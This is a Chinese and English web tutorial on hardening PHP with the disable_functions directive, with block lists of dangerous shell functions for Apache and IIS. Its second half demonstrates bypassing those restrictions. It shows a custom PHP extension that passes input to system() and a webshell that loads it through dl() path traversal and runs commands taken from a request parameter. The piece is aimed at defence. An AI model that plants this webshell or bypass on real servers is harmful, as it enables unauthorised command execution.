当前位置:首页 > 网络编程 > Linux > 正文

php.ini 启用disable_functions提高安全

Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How do I disable these functions to improve my php script security? 
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in php.ini using disable_functions directive. This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. 
Open php.ini file: 
# vi /etc/php.ini 
Find disable_functions and set new list as follows: 
查找disable_functions然后用下面的替换 

复制代码代码如下:

disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Save and close the file. Restart httpd: 
复制代码代码如下:

# service httpd restart 

Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file: 

iis中设置方法,在c:\windows\php.ini

星外的设置:

复制代码代码如下:

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit 

建议增加phpinfo等,可以参考上面的设置,以后在使用过程中可能会出现php不支持部分功能的现象,然后大家可以搜索下错误提示,去掉相应的函数即可。 
支持的越多越不安全,对于采集程序来说需要去掉curl_exec,大家多测试即可。

下面提供一个更完整的版本

复制代码代码如下:

disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod,gzinflate,set_time_limit, 


iis中设置后,运行中输入 iisreset /restart即可。


注意下面的突破方法:建议打开安全模式 
PHP是一款功能强大应用广泛的脚本语言,很大一部分网站都是使用PHP架构的。因为其提供了强大的文件操作功能和与系统交互的功能,所以大部分的服务器都对PHP做了严格的限制,包括使用open_basedir限制可以操作的目录以及使用disable_functions限制程序使用一些可以直接执行系统命令的函数如system,exec,passthru,shell_exec,proc_open等等。但是如果服务器没有对dl()函数做限制,一样可以利用dl()函数饶过这些限制。 
dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,包括系统命令。 
PHP_FUNCTION(dl) 

pval **file; 
#ifdef ZTS 
if ((strncmp(sapi_module.name, "cgi", 3)!=0) && 
(strcmp(sapi_module.name, "cli")!=0) && 
(strncmp(sapi_module.name, "embed", 5)!=0)) { 
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini"); 
RETURN_FALSE; 
} //验证是否可以使用dl函数,在多线程web服务器里是禁止的 
#endif 
/* obtain arguments */ 
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) { 
WRONG_PARAM_COUNT; 

convert_to_string_ex(file); //取得参数 
if (!PG(enable_dl)) { 
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//验证是否enable_dl,默认为on 
} else if (PG(safe_mode)) { 
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//验证是否safe_mode打开 
} else { 
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开始调用加载 
EG(full_tables_cleanup) = 1; 

下面是开始处理模块的加载 
void php_dl(pval *file, int type, pval *return_value TSRMLS_DC) 

void *handle; 
char *libpath; 
zend_module_entry *module_entry, *tmp; 
zend_module_entry *(*get_module)(void); 
int error_type; 
char *extension_dir; //定义一些变量 
if (type==MODULE_PERSISTENT) { 
/* Use the configuration hash directly, the INI mechanism is not yet initialized */ 
if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) { 
extension_dir = PHP_EXTENSION_DIR; 

} else { 
extension_dir = PG(extension_dir); 
} //取得php.ini里的设置也就是extension_dir的目录 
if (type==MODULE_TEMPORARY) { 
error_type = E_WARNING; 
} else { 
error_type = E_CORE_WARNING; 

if (extension_dir && extension_dir[0]){ 
int extension_dir_len = strlen(extension_dir); 
libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2); 
if (IS_SLASH(extension_dir[extension_dir_len-1])) { 
sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */ 
} else { 
sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */ 
} //构造最终的so文件的位置,只是简单的附加,并没有对传入的参数做任何检查,包括open_basedir等 
} else { 
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file)); 

/* load dynamic symbol */ 
handle = DL_LOAD(libpath); //开始真正的调用了 
看到了吧,我们可以调用任意的so了哦!下一步就是编写自己的so模块,并且调用他。按照官方提供的模块编写方法,我写了个很简单的,主要的导出函数loveshell如下: 
PHP_FUNCTION(loveshell) 

char *command; 
int command_len; 
if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) { 
WRONG_PARAM_COUNT; 

system(command); 
zend_printf("I recieve %s",command); 

注意由于php4和php5的结构不一样,所以如果想要能顺利调用扩展,那么在php4环境下就要将上面的代码放到php4环境下编译,php5的就要在php5环境下编译。我们将编写好的扩展上传到服务器,就可以利用下面的代码执行命令了: 
<?php 
dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so'); 
$cmd=$_REQUEST[c]." 2>&1>tmp.txt"; 
loveshell($cmd); 
echo "<br>"; 
echo file_get_contents('tmp.txt'); 
?> 
所以如果想保证服务器的安全,请将这个函数加到disable_functions里或者将安全模式打开吧,在安全模式下dl函数是无条件禁止的!:)
上一篇:PHP木马大全 一句话的PHP木马的防范 下一篇:最后一页